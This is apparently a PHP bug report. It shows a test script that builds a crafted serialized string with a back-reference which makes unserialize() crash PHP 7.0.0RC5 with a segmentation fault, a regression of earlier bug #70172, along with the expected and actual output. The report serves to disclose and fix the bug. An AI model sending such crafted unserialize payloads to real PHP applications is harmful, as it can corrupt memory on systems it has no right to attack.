Description:
------------
First PoC script from #70172 causes segfault in the middle of the dump. I'm using php-7.0.0RC5-Win32-VC14-x64 thread safe.

Test script:
---------------
class obj implements Serializable
{
    private $data;

    public function serialize()
    {
        return serialize($this->data);
    }

    public function unserialize($data)
    {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi' . $i;
}

var_dump($data);

Expected result:
----------------
produced by PHP 5.6.14 that contains fix to #70172

array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data":"obj":private]=>
    int(1)
  }
  [1]=>
  array(0) {
  }
}


Actual result:
--------------
array(2) {
  [0]=>
  Segmentation fault